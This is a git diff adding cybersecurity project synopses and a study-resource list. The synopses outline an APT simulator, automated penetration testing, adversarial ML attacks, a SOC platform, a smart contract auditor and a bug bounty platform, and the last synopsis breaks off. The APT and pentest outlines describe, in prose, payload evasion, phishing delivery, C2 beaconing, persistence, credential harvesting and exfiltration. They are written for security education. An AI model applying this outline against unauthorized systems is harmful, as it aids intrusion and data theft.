Chapple](https://www.youtube.com/watch?v=v8furUCfuaY) +- [Inside CISSP - Kelly Handerhan](https://www.youtube.com/playlist?list=PL7XJSuT7Dq_XPLpbZOrNXA-lsQbvx3YeQ) + +### Study Resources +- [Study Notes and Theory CISSP Blog](https://www.studynotesandtheory.com/) +- [Cybrary CISSP Course (Free)](https://www.cybrary.it/course/cissp/) + +--- + +## LinkedIn Professionals to Follow + +### Industry Leaders +- [Mike Chapple](https://www.linkedin.com/in/mikechapple/) - Security educator +- [Brian Krebs](https://www.linkedin.com/in/bkrebs/) - Security journalist +- [Troy Hunt](https://www.linkedin.com/in/troyhunt/) - Web security expert +- [Heath Adams](https://www.linkedin.com/in/heathadams/) - Ethical hacking educator +- [Jason Dion](https://www.linkedin.com/in/jasondion/) - CompTIA instructor +- [Kevin Mitnick](https://www.linkedin.com/in/kevinmitnick/) - Security consultant +- [Chuck Brooks](https://www.linkedin.com/in/chuckbrooks/) - Security thought leader +- [Jane Frankland](https://www.linkedin.com/in/janefrankland/) - Cybersecurity strategist +- [Rinki Sethi](https://www.linkedin.com/in/rinkisethi/) - Security leader +- [Tyler Cohen Wood](https://www.linkedin.com/in/tylercohenwood/) - Threat intelligence + +### Organizations +- [CompTIA](https://www.linkedin.com/company/comptia/posts/?feedView=all) +- [ISC2](https://www.linkedin.com/company/isc2/) +- [ISACA](https://www.linkedin.com/company/isaca/) +- [SANS Institute](https://www.linkedin.com/company/sans-institute/) +- [OWASP](https://www.linkedin.com/company/owasp/) + +--- + +## Additional Learning Resources + +### Specialized Platforms +- [Infosec Skills](https://www.infosecinstitute.com/skills/) - Hands-on labs +- [INE Security](https://ine.com/learning/areas/security) - Security specialization +- [Offensive Security](https://www.offensive-security.com/) - Advanced training +- [EC-Council CodeRed](https://codered.eccouncil.org/) - Interactive learning +- [ITPRO](https://www.acilearning.com/itpro/) - IT Professional training +- [Professor Messer Website](https://www.professormesser.com/) - Free study materials + +### Cheat Sheets & References +- [Digital Cloud Training AWS Cheat Sheets](https://digitalcloud.training/aws-cheat-sheets/) +- [Tutorials Dojo AWS Exam Guide](https://tutorialsdojo.com/aws-cloud-practitioner-clf-c02-exam-guide/) +- [wyzguys Cybersecurity Blog (CASP focused)](https://wyzguyscybersecurity.com/new-insights-for-the-casp-cas-004-exam/) + +--- + +**Last Updated:** November 2025 + +**Tips for Success:** +- Start with free resources to test your interest +- Combine video courses with hands-on labs +- Use practice exams to measure progress +- Join communities for support and networking +- Stay current with security news and trends + + diff --git a/SYNOPSES/advanced/AI.Threat.Detection.md b/SYNOPSES/advanced/AI.Threat.Detection.md new file mode 100644 index 00000000..921cd2b3 --- /dev/null +++ b/SYNOPSES/advanced/AI.Threat.Detection.md @@ -0,0 +1,46 @@ +# AI-Powered Threat Detection System + +## Overview +Build a machine learning-based threat detection system trained on network traffic data to classify normal vs. malicious behavior using algorithms like Random Forest or LSTM, then deploy for real-time inference on live traffic. This project teaches machine learning for cybersecurity, feature engineering, and demonstrates techniques used in advanced threat detection systems. + +## Step-by-Step Instructions + +1. **Understand machine learning for cybersecurity and dataset selection** by learning that ML-based detection identifies statistical patterns in malicious traffic distinguishing them from legitimate traffic. Study available datasets: CICIDS2017 (labeled traffic with normal and attack types), NSL-KDD (older but established benchmark), UNSW-NB15 (Australian network traffic). Understand dataset composition: flows labeled as normal or specific attack types (DoS, probe, R2L, U2R, backdoor). Learn feature engineering: extract meaningful features from raw traffic enabling ML models to distinguish normal/malicious. + +2. **Implement feature extraction from network traffic** converting raw packets/flows into features ML models can process: extract packet-level features (packet size, inter-arrival time, flag bits), flow-level features (total bytes, duration, number of packets, port numbers), and protocol-specific features. Implement statistical features: mean/min/max/std-dev of packet sizes/timings, directional features (forward/backward traffic ratios), and payload features (entropy, null byte ratio). Normalize features to consistent scale (0-1 or standardization) enabling fair model training. + +3. **Build data preprocessing pipeline** preparing datasets for training: handle missing values (remove rows with missing features or impute), handle class imbalance (normal traffic vastly outnumbers attacks, use techniques like oversampling or weighted training), and implement train/validation/test split (70/15/15 typical split). Create cross-validation strategy preventing data leakage and ensuring model generalizes to unseen data. + +4. **Implement Random Forest classifier** for traffic classification: build ensemble of decision trees voting on predictions, configure hyperparameters (number of trees, tree depth, features per split). Train on labeled traffic data, evaluate performance metrics (accuracy, precision, recall, F1-score, AUC-ROC). Use feature importance analysis understanding which features most distinguish normal/malicious traffic (e.g., are certain ports more suspicious than others). Tune hyperparameters through grid search optimizing model performance. + +5. **Build LSTM (Long Short-Term Memory) neural network** for sequence-based detection: train LSTM on traffic sequences recognizing patterns in how attacks unfold (e.g., scanning followed by exploitation). Implement with frameworks like TensorFlow/Keras, configure architecture (number of layers, cell units, dropout for regularization). Use bidirectional LSTMs processing sequences both forward and backward improving pattern detection. Compare LSTM performance to Random Forest: RF faster but LSTM captures temporal patterns better. + +6. **Create model evaluation and comparison framework** using multiple metrics: accuracy (overall correctness), precision (false positive rate), recall (detection rate of actual attacks), F1-score (harmonic mean of precision/recall), and ROC-AUC (performance across different thresholds). Build confusion matrix visualizations showing where models make mistakes. Implement cross-validation ensuring results generalize to unseen data, use statistical testing (t-tests) comparing model performance. + +7. **Implement real-time inference on live traffic** deploying trained model to production: create feature extraction for live NetFlow/sFlow data (same features as training), apply model generating predictions (normal vs. attack probability), and trigger alerts when malicious traffic detected. Implement model serving infrastructure (REST API, batch processing, or embedded model) enabling easy integration. Include confidence scoring showing model certainty in predictions. + +8. **Build monitoring dashboards and evaluation** displaying model performance metrics: show detection rates over time, false positive trends, and types of attacks detected. Implement model retraining pipeline: periodically retrain models on new data incorporating recent traffic, adversarial samples (attacks designed to fool models), and concept drift (normal traffic patterns change over time). Compare your system to commercial solutions, discuss limitations (ML models can be fooled by adversarial examples, requires significant labeled data for training, may not detect novel attacks outside training distribution), explain need for combining ML with signature-based detection, and provide incident response integration showing alerts trigger appropriate response workflows. + +## Key Concepts to Learn +- Machine learning fundamentals and algorithms +- Feature engineering from network data +- Classification and supervised learning +- Random Forest ensemble methods +- LSTM recurrent neural networks +- Data preprocessing and normalization +- Model evaluation and metrics +- Cross-validation and hyperparameter tuning +- Real-time inference and deployment +- Adversarial ML and model robustness + +## Deliverables +- Dataset preparation and preprocessing +- Feature extraction from network traffic +- Random Forest classifier implementation +- LSTM neural network implementation +- Model training and hyperparameter tuning +- Comprehensive model evaluation framework +- Real-time inference on live traffic +- Model serving and deployment +- Performance dashboards and monitoring +- Confidence scoring and uncertainty quantification diff --git a/SYNOPSES/advanced/Advanced.Persistent.Threat.Simulator.md b/SYNOPSES/advanced/Advanced.Persistent.Threat.Simulator.md new file mode 100644 index 00000000..680e9fa4 --- /dev/null +++ b/SYNOPSES/advanced/Advanced.Persistent.Threat.Simulator.md @@ -0,0 +1,48 @@ +# Advanced Persistent Threat (APT) Simulator + +## Overview +Build a comprehensive APT attack simulator orchestrating multi-stage attacks including reconnaissance, exploitation, command-and-control infrastructure setup, lateral movement, and data exfiltration with comprehensive logging and reporting. This project teaches advanced attack methodology, red team operations, and demonstrates complex attack chains used in sophisticated threats. + +## Step-by-Step Instructions + +1. **Understand APT attack lifecycle and methodology** by learning that APTs are sophisticated, multi-stage campaigns: reconnaissance (gather information about target), weaponization (create malicious payloads), delivery (compromise initial system), exploitation (gain access), installation (establish persistence), command-and-control (attacker maintains remote access), and exfiltration (steal data). Study real APT groups: tactics, techniques, and procedures (TTPs) used in documented attacks. Research MITRE ATT&CK framework systematically categorizing attack techniques. Understand defensive implications: understand attacks to defend against them. + +2. **Implement reconnaissance simulation** gathering target information: automate OSINT collection (WHOIS, DNS, social media, breach databases), build infrastructure mapping discovering services and technologies, identify users and employee information, scan for vulnerabilities. Generate reconnaissance reports documenting discovered intelligence. This phase establishes knowledge for later attack stages. + +3. **Build weaponization module** creating attack payloads: implement payload generation (customized malware, shellcode, documents with exploits), add evasion techniques (obfuscation, encryption, polymorphy), package payloads for delivery. Support multiple payload types: executables, macros in documents, PowerShell scripts. Integrate with exploit framework components developed in previous projects. + +4. **Create delivery mechanisms** getting malware to target: implement phishing email simulation (crafting convincing emails with malicious attachments/links), watering hole attacks (compromise legitimate websites), supply chain compromise simulation, and removable media distribution. Track delivery success: whether payload reaches intended target and executes. + +5. **Build exploitation and initial access** gaining foothold on target systems: implement exploitation of known vulnerabilities, credentials-based access (valid but compromised credentials), and default credentials exploitation. Establish command-and-control connectivity ensuring ongoing access to compromised system. + +6. **Implement command-and-control (C2) infrastructure**: build beacon communications (compromised system periodically connects to attacker infrastructure), command execution (send commands through C2 channel, receive results), and encrypted communications (prevent network detection). Support multiple C2 protocols: HTTP/HTTPS (mimics normal traffic), DNS (covert channel using DNS queries), and custom protocols. + +7. **Create lateral movement and privilege escalation**: once initial access established, move through network: use compromised credentials on other systems, exploit trust relationships between systems (Windows domain trusts), identify and exploit privilege escalation vectors from previous projects, and maintain access on new compromised systems. Build attack path analysis: visualize network compromise spreading, identify critical systems likely targeted. + +8. **Build comprehensive APT simulation orchestration** coordinating attack stages: automate sequential attack execution (reconnaissance → delivery → exploitation → C2 → lateral movement → exfiltration), generate reports documenting full attack chain with timestamps, screenshots, and artifacts left behind. Create timeline visualization showing attack progression. Implement detection scenario analysis: what would defenders see at each stage? This enables defensive team to understand attack indicators and improve detection. Compare your simulator to commercial red team platforms, discuss ethical considerations (only simulate on authorized systems), and explain use cases (security training, incident response exercises, architecture validation). Include documentation of APT tactics and techniques with real-world examples. + +## Key Concepts to Learn +- APT attack lifecycle and TTPs +- MITRE ATT&CK framework +- Multi-stage attack orchestration +- Reconnaissance and information gathering +- Weaponization and payload generation +- Delivery mechanism evasion +- Persistence and lateral movement +- Command-and-control infrastructure +- Data exfiltration techniques +- Attack timeline and forensic analysis + +## Deliverables +- OSINT and reconnaissance automation +- Payload generation and weaponization +- Phishing and delivery simulation +- Initial access and persistence mechanisms +- C2 beacon implementation +- Multi-protocol C2 communications +- Lateral movement automation +- Privilege escalation exploitation +- Compromised network mapping +- Full attack timeline and reporting +- Forensic artifact generation +- Defensive IOC extraction diff --git a/SYNOPSES/advanced/Adversarial.ML.Attacker.md b/SYNOPSES/advanced/Adversarial.ML.Attacker.md new file mode 100644 index 00000000..fafff745 --- /dev/null +++ b/SYNOPSES/advanced/Adversarial.ML.Attacker.md @@ -0,0 +1,47 @@ +# Adversarial ML Model Attacker + +## Overview +Build a framework that generates adversarial examples to fool machine learning models through attacks like FGSM and C&W, testing robustness of ML-based security systems and demonstrating adversarial machine learning concepts. This project teaches adversarial ML, model robustness testing, and demonstrates evasion techniques against ML-based defenses. + +## Step-by-Step Instructions + +1. **Understand adversarial machine learning and threat models** by learning that ML models can be fooled by carefully crafted inputs called adversarial examples: small perturbations imperceptible to humans cause confident misclassifications. Study attack types: evasion attacks (modify input to evade detection), poisoning attacks (corrupt training data), and model extraction (steal model parameters). Research threat models: white-box (attacker has model access), black-box (attacker only sees outputs), and gray-box (partial information). Understand ML security applications (malware detection, intrusion detection) are targets of adversarial attacks. + +2. **Implement FGSM (Fast Gradient Sign Method)** for generating adversarial examples: compute gradient of loss function with respect to input, move input in direction of gradient by epsilon magnitude, creating adversarial example that fools model. Implement algorithm: forward pass computing model output, backprop computing gradients, perturb input. Tune epsilon: larger epsilon creates more obvious perturbations, smaller epsilon more subtle but less effective. Test on image classifiers: create adversarial images imperceptibly different from originals but misclassified by models. + +3. **Build C&W (Carlini & Wagner) attack** for stronger adversarial examples: FGSM is relatively weak, C&W uses optimization finding minimal perturbations causing misclassification. Implement attack: define optimization objective (minimize perturbation magnitude while causing target misclassification), use Adam or other optimizers iteratively improving adversarial example. Handle constraints (image pixels 0-255 bounded). Compare C&W to FGSM: C&W generates stronger adversarial examples but slower computation. + +4. **Create DeepFool attack implementation** generating minimally perturbed adversarial examples: iteratively find direction to nearest decision boundary, move input across boundary incrementally. Implement algorithm: compute Jacobian matrix (gradients for all outputs), find minimum perturbation perpendicular to nearest class boundary. DeepFool often generates smaller perturbations than FGSM maintaining imperceptibility. + +5. **Build PGD (Projected Gradient Descent) attack** for robust adversarial examples: iteratively apply gradient steps within epsilon-ball perturbation budget, projecting back into valid range after each step. PGD generates strong adversarial examples; stronger models trained against PGD attacks. Implement multi-step attack: small gradient steps iteratively refined, more computationally expensive but more effective than single-step FGSM. + +6. **Create model robustness testing framework** evaluating ML systems against adversarial attacks: test ML-based security models (malware classifiers, intrusion detectors, malware detection) by generating adversarial examples attempting evasion. Measure success rate: how many adversarial examples successfully fool model? Analyze failure modes: what types of examples fool model, do modifications preserve functionality (evading detection while maintaining usability)? Test against both image classifiers (academic baseline) and security-specific models. + +7. **Build adversarial training and defense mechanisms** improving model robustness: retrain models on adversarial examples mixed with benign data, teaching models to correctly classify both. Implement defensive techniques: input preprocessing (noise injection reducing adversarial perturbations), model ensemble (multiple models vote, harder to fool all), and certified defenses (mathematical guarantees on robustness). Measure improvement: retrained models resist adversarial attacks better than baseline. + +8. **Build analysis and visualization tools** understanding adversarial examples: visualize original vs. adversarial images showing perturbations, create perturbation heat maps indicating sensitive regions. Generate reports on attack effectiveness: success rates for different epsilon values, comparison of attack algorithms, model vulnerability analysis. Document adversarial ML concepts, create tutorials enabling researchers to understand adversarial attacks and defenses. Discuss limitations: adversarial examples transfer imperfectly between models (but often succeed), defenses create arms race (attacker adapts to defense), physical-world adversarial examples pose practical challenges. Compare to commercial adversarial testing services, explain security implications of adversarial attacks on deployed ML systems (particularly security-critical applications), and discuss future adversarial ML threats as ML adoption increases in security systems. + +## Key Concepts to Learn +- Adversarial machine learning concepts +- Gradient-based attacks (FGSM, PGD, C&W) +- Adversarial example generation +- Model robustness assessment +- White-box vs. black-box attacks +- Transferability of adversarial examples +- Adversarial training and defenses +- Robustness metrics and evaluation +- Certified defenses and guarantees + +## Deliverables +- FGSM attack implementation +- C&W (Carlini & Wagner) attack +- DeepFool attack implementation +- PGD (Projected Gradient Descent) attack +- Model robustness testing framework +- Adversarial example generation and curation +- Transfer attack capabilities +- Adversarial training pipeline +- Defense mechanism implementations +- Robustness evaluation metrics +- Visualization and analysis tools +- Comparative attack analysis diff --git a/SYNOPSES/advanced/Automated.Penetration.Testing.md b/SYNOPSES/advanced/Automated.Penetration.Testing.md new file mode 100644 index 00000000..ebec686c --- /dev/null +++ b/SYNOPSES/advanced/Automated.Penetration.Testing.md @@ -0,0 +1,48 @@ +# Automated Penetration Testing Platform + +## Overview +Build an orchestration platform automating full penetration tests including reconnaissance, vulnerability scanning, exploitation, and post-exploitation, generating comprehensive technical and executive reports. This project teaches penetration testing methodology, test orchestration, and demonstrates enterprise red team automation. + +## Step-by-Step Instructions + +1. **Understand penetration testing methodology and automated testing** by learning the pentesting framework: reconnaissance (gather information), scanning (identify vulnerabilities), exploitation (confirm vulnerabilities), post-exploitation (establish persistence, escalate privileges), and cleanup (remove attack artifacts). Study test organization: scope definition (in-scope targets, out-of-scope areas), rules of engagement (approved testing hours, restricted actions, notification procedures), and reporting requirements. Understand that while automation improves efficiency, sophisticated attacks require human analysis and creativity—automation provides baseline testing and consistency. + +2. **Implement reconnaissance automation** gathering target information: integrate previous OSINT tools (domain enumeration, WHOIS, DNS reconnaissance, social media analysis), aggregate findings into target profile, identify infrastructure and key systems. Build asset discovery: network range identification, IP enumeration, and hostname resolution. Create reconnaissance reports documenting all discovered information. + +3. **Build vulnerability scanning orchestration** discovering security weaknesses: integrate scanners (Nessus, OpenVAS, Qualys) or build custom scanners from previous projects (port scanner, web vulnerability scanner, SSL/TLS scanner). Automate scanning of discovered assets against various vulnerability databases. Aggregate findings by severity, deduplicate, and prioritize for exploitation. + +4. **Create exploitation engine** automating vulnerability confirmation and exploitation: integrate exploit framework (developed in previous projects), intelligently match discovered vulnerabilities to applicable exploits, attempt exploitation of high-priority vulnerabilities, and validate successful exploitation. Implement safe exploitation: start with low-risk exploits, verify before risky operations, include safeguards preventing unintended damage to production systems. + +5. **Build post-exploitation and privilege escalation** leveraging compromised systems: implement lateral movement identifying and compromising additional systems within network, execute privilege escalation vectors from discovered vulnerabilities, establish persistence (backdoors, scheduled tasks) maintaining access if initial compromise lost. Build credential harvesting extracting discovered credentials for further attacks. + +6. **Create reporting infrastructure** documenting all findings: track every step of penetration test (reconnaissance findings, scanned IPs, vulnerabilities discovered, exploitation attempts), record successful exploitations with proof-of-concept. Build executive reports summarizing critical findings and business impact. Generate technical reports with detailed vulnerability information and remediation recommendations. Create risk scoring combining vulnerability severity, exploitability, and business impact. + +7. **Implement orchestration and workflow automation** coordinating complex multi-step tests: define test workflows: reconnaissance → scanning → vulnerability prioritization → exploitation → post-exploitation. Build decision logic: if vulnerability discovered and exploitable, attempt exploitation; if successful, move to lateral movement. Implement parallel execution where appropriate (multiple vulnerability scans in parallel) improving efficiency. + +8. **Build comprehensive testing interface and reporting** with dashboard, scheduling, and compliance** enabling security teams to run automated tests on schedule (nightly, weekly), track progress of ongoing tests, and view comprehensive reports. Integrate with compliance frameworks (NIST, CIS) mapping findings to standards. Compare your platform to commercial automated penetration testing services, discuss limitations (automated testing captures common vulnerabilities but skilled penetration testers find complex logic flaws and sophisticated attack paths automation misses, human-driven testing required for tailored approaches), and explain integration into security programs as baseline testing complementing expert penetration testers. Emphasize ethical considerations: only penetration test authorized systems with proper scope and rules of engagement, obtain executive approval, and maintain clear documentation of authorized testing. + +## Key Concepts to Learn +- Penetration testing methodology and phases +- Reconnaissance automation +- Vulnerability discovery and prioritization +- Exploitation orchestration +- Lateral movement and privilege escalation +- Post-exploitation methodology +- Workflow automation and decision logic +- Report generation and compliance mapping +- CVSS and risk scoring +- Test orchestration and scheduling + +## Deliverables +- Automated reconnaissance module +- Vulnerability scanning orchestration +- Exploit framework integration +- Automated exploitation engine +- Post-exploitation and persistence +- Lateral movement automation +- Credential harvesting and usage +- Comprehensive reporting infrastructure +- Executive and technical reports +- Compliance mapping (NIST, CIS) +- Dashboard and test management +- Scheduling and recurring tests diff --git a/SYNOPSES/advanced/Autonomous.Security.Operations.Center .md b/SYNOPSES/advanced/Autonomous.Security.Operations.Center .md new file mode 100644 index 00000000..8ef3a12d --- /dev/null +++ b/SYNOPSES/advanced/Autonomous.Security.Operations.Center .md @@ -0,0 +1,50 @@ +# Autonomous Security Operations Center (SOC) + +## Overview +Build an autonomous security operations platform that ingests security events from multiple sources, correlates incidents, applies playbooks for automated response, and provides analyst dashboards with AI-assisted decision-making. This project teaches security orchestration, incident response automation, and demonstrates enterprise SOAR (Security Orchestration, Automation and Response) platforms. + +## Step-by-Step Instructions + +1. **Understand SOAR platforms and security operations automation** by learning that modern SOAR systems automate security incident response: ingest alerts from multiple security tools (SIEM, IDS/IPS, endpoint protection, cloud security), correlate events identifying incidents, execute playbooks automating response actions, and provide analyst interfaces for human-in-the-loop decisions. Study automation value: reduces analyst workload (repetitive tasks automated), accelerates incident response (automation faster than manual processes), and improves consistency (playbooks ensure consistent procedures). Research existing SOAR platforms (Splunk SOAR, ServiceNow Security Operations, Cortex XSOAR) understanding capabilities. + +2. **Implement event ingestion and normalization** accepting alerts from diverse sources: build connectors for common security tools (SIEM, endpoint detection and response, cloud security, network monitoring), implement webhook receivers accepting incoming alerts, create parsers normalizing alerts into consistent format (timestamp, source, severity, artifact, description). Build resilience: queue events if system overloaded, retry failed ingestion, log all received events for audit. + +3. **Create incident correlation engine** grouping related alerts into incidents: implement time-based correlation (alerts within time window likely related), source-based correlation (alerts from same IP/domain grouped), and behavioral correlation (similar attack patterns grouped). Build deduplication removing duplicate events, aggregate similar alerts into incident summary. Implement escalation: groups of correlated alerts increase severity and priority. + +4. **Build playbook engine** automating incident response workflows: implement playbook definition language (YAML/JSON) specifying response logic: if incident matches pattern, execute actions (send notification, isolate system, collect forensics). Support conditional logic: execute different actions based on incident characteristics. Implement playbook library: common playbooks for known incident types (malware detection, data exfiltration, unauthorized access, etc.). Build playbook versioning and testing enabling safe updates. + +5. **Implement automated response actions** executing playbooks: support common response actions: notify analysts (email, Slack, PagerDuty), block traffic (firewall rules), isolate systems (network segmentation), collect forensic data, disable compromised accounts, and investigate indicators. Build integrations with external tools: ticket creation (Jira, ServiceNow), notification systems, and enforcement tools (firewalls, endpoint protection). Implement action confirmation: for destructive actions require analyst approval before execution. + +6. **Create analyst interface and dashboarding** providing visibility into security events: build dashboards showing: incident queue (new incidents requiring attention), incident timeline (events for specific incident), alert trends, and response status. Implement incident investigation tools: view all related alerts, investigate indicators (IP, domain, file hash), access threat intelligence. Build collaboration: analysts communicate about incidents, assign ownership, track resolution status. + +7. **Implement AI-assisted decision support** improving analyst effectiveness: build threat scoring combining multiple signals (alerts, indicators, patterns, threat intelligence) into risk assessment. Implement anomaly detection identifying unusual events worthy of investigation. Build recommendation engine: suggest appropriate playbooks for incidents, recommend similar past incidents for pattern comparison. Provide explanations: why system recommends specific action, what factors influenced decision. + +8. **Build comprehensive SOAR platform** with playbook management, audit logging, and integration** enabling organizations to: define incidents and escalation policies, create and manage playbooks, configure integrations with security tools, track response metrics (mean-time-to-detect, mean-time-to-respond), and generate reports for executives. Implement audit logging: all actions logged with user, timestamp, and justification. Compare your platform to commercial SOAR solutions, discuss limitations (playbooks require tuning to environment, automation handles common scenarios but novel incidents need human analysis, integration complexity with diverse security tools), and explain integration into mature security operations. Emphasize: SOAR complements human analysts providing efficiency and consistency, but experienced analysts critical for sophisticated threats and novel attack patterns. + +## Key Concepts to Learn +- SOAR architecture and capabilities +- Event ingestion and normalization +- Incident correlation and clustering +- Playbook definition and automation +- Response action execution +- External tool integration +- Analyst dashboards and investigation +- Threat scoring and risk assessment +- Anomaly detection +- Audit logging and compliance + +## Deliverables +- Multi-source event ingestion connectors +- Alert normalization and parsing +- Incident correlation engine +- Deduplication and aggregation +- Playbook definition language +- Playbook execution engine +- Conditional logic and branching +- Automated response actions +- Integration with external tools +- Analyst interface and dashboards +- Investigation tools and indicators +- Threat scoring and recommendations +- AI-assisted decision support +- Audit logging and reporting diff --git a/SYNOPSES/advanced/Blockchain.Smart.Contract.Auditor.md b/SYNOPSES/advanced/Blockchain.Smart.Contract.Auditor.md new file mode 100644 index 00000000..dda12f49 --- /dev/null +++ b/SYNOPSES/advanced/Blockchain.Smart.Contract.Auditor.md @@ -0,0 +1,46 @@ +# Blockchain Smart Contract Auditor + +## Overview +Build a static analysis tool for Solidity smart contracts detecting vulnerabilities including reentrancy, integer overflow/underflow, and access control flaws, integrating existing analysis tools and generating security reports. This project teaches blockchain security, smart contract vulnerabilities, and demonstrates techniques used in Web3 security auditing. + +## Step-by-Step Instructions + +1. **Understand smart contract vulnerabilities and security analysis** by learning that smart contracts execute on blockchain managing cryptocurrency/assets making security critical. Study common vulnerabilities: reentrancy (recursive calls draining funds before balance update), integer overflow/underflow (arithmetic wraps around on boundaries), access control (insufficient permission checks), logic flaws (unintended state transitions), and gas optimization issues (transactions fail if gas exhausted). Research analysis tools: Mythril (symbolic execution), Slither (dataflow analysis), Securify, and Oyente. Understand limitations of static analysis (may miss complex logic flaws, requires human review). + +2. **Implement Solidity code parsing** extracting contract structure: parse contract files (Solidity source or bytecode), build abstract syntax tree (AST) representing code structure. Extract contracts, functions, state variables, modifiers, and event definitions. Implement or integrate parser: use existing Solidity compiler (solc) to generate AST, then traverse tree analyzing contract structure. Support multiple Solidity versions (language evolved significantly, analysis must version-aware). + +3. **Build reentrancy detection** identifying vulnerable patterns: detect calls to untrusted contracts before state updates (should update first: checks-effects-interactions pattern), identify external function calls within loops or complex control flow potentially called multiple times. Analyze function behavior: functions updating state before making external calls are vulnerable, functions checking before calling may still be vulnerable if checks insufficient. + +4. **Implement integer overflow/underflow detection** finding arithmetic vulnerabilities: identify arithmetic operations (+, -, *, /) on user-controlled values, track value ranges and detect operations where overflow/underflow possible. Use symbolic execution determining reachable values, or simpler heuristics flagging high-risk patterns. Recommend fixes: use SafeMath libraries (Solidity 0.8+ has built-in checks), explicitly validate inputs preventing overflow conditions. + +5. **Create access control analysis** detecting permission issues: identify functions modifying critical state (token transfers, admin functions, contract lifecycle), check whether functions have appropriate access modifiers (public vs. private vs. internal) and require() statements. Detect missing onlyOwner modifiers where expected, identify functions callable by anyone where restricted access appropriate. Analyze permission models: who can execute what functions, identify centralization risks (single owner with excessive power). + +6. **Build integration with existing analysis tools** using Mythril/Slither: invoke tools programmatically on contracts, parse tool outputs extracting detected vulnerabilities. Aggregate findings from multiple tools: if multiple tools detect same issue, confidence increases. Implement tool wrappers providing consistent interface regardless of underlying tool. Compare tool outputs understanding tool strengths (Mythril good at complex paths, Slither good at dataflow analysis). + +7. **Create custom vulnerability detection rules** using pattern matching and control flow analysis: implement domain-specific rules for contract-specific vulnerabilities (e.g., token-specific issues, DeFi-specific risks like sandwich attacks, flash loan attacks). Build rules for gas optimization issues and common mistakes. Support rule configuration allowing auditors to define custom checks for specific contracts or domains. + +8. **Build comprehensive reporting and remediation guidance** generating audit reports: categorize findings by severity (critical exploitable, high likely exploitable, medium possible issue, low best practice), provide detailed descriptions of vulnerabilities with code snippets showing vulnerable patterns. Include proof-of-concept attacks demonstrating exploitability where possible. Provide remediation recommendations: specific code changes fixing issues, reference implementations of secure patterns. Generate executive summary for non-technical stakeholders showing risk assessment. Compare your tool to professional auditors and commercial solutions, discussing limitations (static analysis catches many issues but misses complex logic flaws requiring manual review, professional human auditors discover issues automated tools miss), and explain integration into development workflows (run before deployment, integrate into CI/CD). Include documentation of smart contract security best practices, discussion of auditor roles and responsibilities, and examples of real-world contract vulnerabilities and their fixes. + +## Key Concepts to Learn +- Solidity language and contract structure +- Smart contract vulnerabilities (OWASP for blockchain) +- Static code analysis techniques +- Symbolic execution and dataflow analysis +- Control flow and data flow graphs +- AST (Abstract Syntax Tree) analysis +- Integration with external analysis tools +- Vulnerability pattern matching +- Security audit methodologies + +## Deliverables +- Solidity code parser with AST generation +- Reentrancy vulnerability detection +- Integer overflow/underflow detection +- Access control analysis and modeling +- Integration with Mythril and Slither +- Custom vulnerability rule engine +- Dataflow and taint analysis +- Control flow analysis +- Comprehensive audit report generation +- Proof-of-concept attack suggestions +- Remediation and best practices guidance diff --git a/SYNOPSES/advanced/Bug.Bounty.Platform.md b/SYNOPSES/advanced/Bug.Bounty.Platform.md new file mode 100644 index 00000000..09ddd54f --- /dev/null +++ b/SYNOPSES/advanced/Bug.Bounty.Platform.md @@ -0,0 +1,47 @@ +# Full-Stack Bug Bounty Platform + +## Overview +Build a comprehensive web application connecting security researchers with organizations for coordinated vulnerability disclosure, including submission workflows, severity scoring, payment management, and encrypted communications. This project teaches full-stack web development, vulnerability management processes, and demonstrates platforms like HackerOne and Bugcrowd. + +## Step-by-Step Instructions + +1. **Understand bug bounty ecosystem and platform requirements** by learning that bug bounty platforms connect researchers ("hackers") with organizations ("customers") paying for vulnerability discoveries. Study platform features: researcher onboarding and reputation systems, organization program setup and scope management, vulnerability submission workflows with status tracking, severity assessment using CVSS, reward management and payments, and communication systems. Research existing platforms (HackerOne, Bugcrowd, Intigriti) understanding features and market differentiation. + +2. **Design user roles and authentication system** with three primary roles: researchers (submit vulnerabilities, earn rewards), organizations (run programs, review submissions), and administrators (platform management). Implement authentication: email/password signup, email verification, two-factor authentication for security, OAuth integration enabling social login. Build role-based access control (RBAC) restricting capabilities by role (researchers can't approve reports, organizations can't approve their own reports). + +3. **Build researcher management and reputation system** implementing researcher profiles showing: submitted vulnerabilities, accepted reports, rewards earned, reputation score, and profile verification badges. Create reputation calculation: points for discovered vulnerabilities (more points for higher severity), community engagement (forum participation, report quality), and tiered levels (green, white, expert researcher) enabling companies to filter by researcher quality. Implement researcher discovery: organizations can search/filter researchers by expertise, previous findings, and reliability. + +4. **Create vulnerability submission workflow** building comprehensive report submission process: researchers submit vulnerabilities with title, description, affected component, reproduction steps, and supporting files (screenshots, proof-of-concept). Implement CVSS calculator letting researchers estimate severity, then have organization confirm. Build report status tracking (submitted → triage → accepted/rejected → rewards payment, or duplicate). Implement escalation process for disputes about severity/acceptance. + +5. **Build encrypted communications system** enabling secure discussion between researchers and organizations about vulnerabilities: create threaded conversations with encryption ensuring sensitive information remains confidential, implement temporary access links preventing unauthorized access, and build audit trails logging all communications for dispute resolution. Implement communication history enabling researchers to reference previous discussions. + +6. **Implement severity assessment and scoring** using CVSS (Common Vulnerability Scoring System): build calculator accepting CVSS inputs (attack vector, complexity, privileges required, impact), computing scores automatically. Create mapped rewards: different severity levels have associated reward ranges (Critical: $5000-$10000, High: $2000-$4999, etc.), allowing organizations to set specific ranges. Implement reward negotiation: organizations offer bounties, researchers can accept/negotiate, creating binding agreements. + +7. **Create payment and reward management** building reliable payment system: integrate payment gateways (Stripe, PayPal) processing researcher payouts, implement escrow protecting both parties (organization funds held until resolution), calculate taxes and handle 1099 reporting for US researchers, and provide payment history/tracking. Build invoicing system enabling researchers to create invoices for accepted bounties. Implement payout scheduling with confirmation workflows. + +8. **Build comprehensive platform with organization program management, dashboard, and reporting** enabling organizations to: create bug bounty programs specifying scope (in-scope domains/assets, out-of-scope), set rules of engagement (testing permissions, disclosure policy), manage severity scoring and reward budgets, view vulnerability status dashboard. Implement researcher dashboards showing submitted reports, earnings, and leaderboard standings. Build analytics: organizations see trends (vulnerability types, researcher quality, time-to-fix), researchers see opportunities and market rates. Create compliance features: secure disclosure timelines (coordinated vulnerability disclosure), export for compliance documentation. Compare your platform to HackerOne/Bugcrowd discussing differentiation, limitations (building trust and critical mass of researchers is challenging), and regulatory considerations (ensure compliance with employment laws, tax regulations, payment regulations across jurisdictions). + +## Key Concepts to Learn +- Full-stack web development architecture +- User authentication and authorization +- Role-based access control (RBAC) +- Secure communication and encryption +- Vulnerability management processes +- CVSS severity scoring +- Payment processing and accounting +- Reputation systems and gamification +- Audit trails and compliance +- Scalability and performance + +## Deliverables +- 